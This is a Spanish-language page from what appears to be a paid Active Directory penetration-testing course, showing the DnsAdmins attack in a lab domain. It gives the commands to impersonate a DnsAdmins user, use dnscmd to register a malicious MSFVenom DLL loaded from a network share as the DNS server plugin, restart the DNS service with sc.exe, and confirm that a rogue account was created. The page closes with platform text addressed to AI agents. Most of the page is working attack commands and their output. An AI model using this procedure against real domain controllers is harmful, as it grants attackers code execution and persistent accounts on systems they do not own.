> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpad/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpad/vulnerabilidades-y-ataques-en-ad/dnsadmins/cargando-una-dll-maliciosa-con-dnscmd.md).

# Cargando una dll maliciosa con dnscmd

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/ej3kiu>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

## <mark style="color:red;">Impersonando al usuario dnsadmin.user</mark>

Primero ejecutamos el siguiente comando desde el equipo First-DC, el cual tiene instalado las caracteristicas de DNS-Server.

```powershell
PS C:\> runas /netonly /user:spartancybersec.corp\dnsadmin.user "powershell.exe"
Enter the password for spartancybersec.corp\dnsadmin.user:
Attempting to start powershell.exe as user "spartancybersec.corp\dnsadmin.user" ...
```

Despues de lo anterior, se solicitara la contraseña del usuario y nos aparecera una ventana que estara corriendo como el usuario dnsadmin.user:

<figure><img src="/files/PJ8WCFdnVkQpPbNyyIZX" alt=""><figcaption></figcaption></figure>

## <mark style="color:red;">¿Que es dnscmd?</mark>

La herramienta `dnscmd` es una utilidad de Windows diseñada para permitir a los usuarios con privilegios de DnsAdmins gestionar el servidor DNS. Esta utilidad puede ser instalada añadiendo las Herramientas del Servidor DNS a tu sistema, tal como se muestra en la captura de pantalla adjunta. Esta herramienta ofrece una interfaz de línea de comandos versátil y eficiente para administrar y configurar servidores DNS, facilitando tareas como la creación y gestión de zonas DNS, la actualización de registros y la modificación de configuraciones del servidor. Su uso es fundamental para el mantenimiento eficiente y seguro de la infraestructura de DNS en entornos administrados por Windows.

<figure><img src="/files/xQuSM1zbclPpYDlQ22mo" alt=""><figcaption></figcaption></figure>

Para realizar el ataque, vamos a utilizar la DLL maliciosa generado con MSFVenom que fue explicada en [Generando una DLL maliciosa](/cpad/vulnerabilidades-y-ataques-en-ad/dnsadmins/generando-una-dll-maliciosa.md)

Y el comando seria el siguiente y debe ser ejecutado desde la shell del usuario dnsadmin.user:

```powershell
PS C:\> hostname
First-DC

PS C:\> dnscmd First-DC /config /serverlevelplugindll \\10.0.1.50\shared\adduser2.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.
```

La DLL generado con MSFVenom se encuentra en el servidor USER-SERVER.

Ahora, la próxima vez que se inicie el servicio DNS, nuestra DLL maliciosa debería ser cargada en el proceso dns.exe y se debería ejecutar la logica incluida en la DLL. Por lo tanto, procedamos a reiniciar el servicio DNS con los siguientes comandos:

```bash
PS C:\Windows\system32> sc.exe \\First-DC stop dns
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        
PS C:\Windows\system32> sc.exe \\First-DC start dns
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 1968
        FLAGS              :
```

Despues de lo anterior, podemos revisar si fue exitoso el ataque:

```bash
PS C:\Windows\system32> net user vikingo
User name                    vikingo
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            11/13/2023 11:46:53 PM
Password expires             12/25/2023 11:46:53 PM
Password changeable          11/14/2023 11:46:53 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users
The command completed successfully.
```

Este ataque esta relacionado con la siguiente ruta:

```
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\InternalParameters
```

<figure><img src="/files/GxUMkuMYpayxioLOcD4B" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/vulnerabilidades-y-ataques-en-ad/dnsadmins/cargando-una-dll-maliciosa-con-dnscmd.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
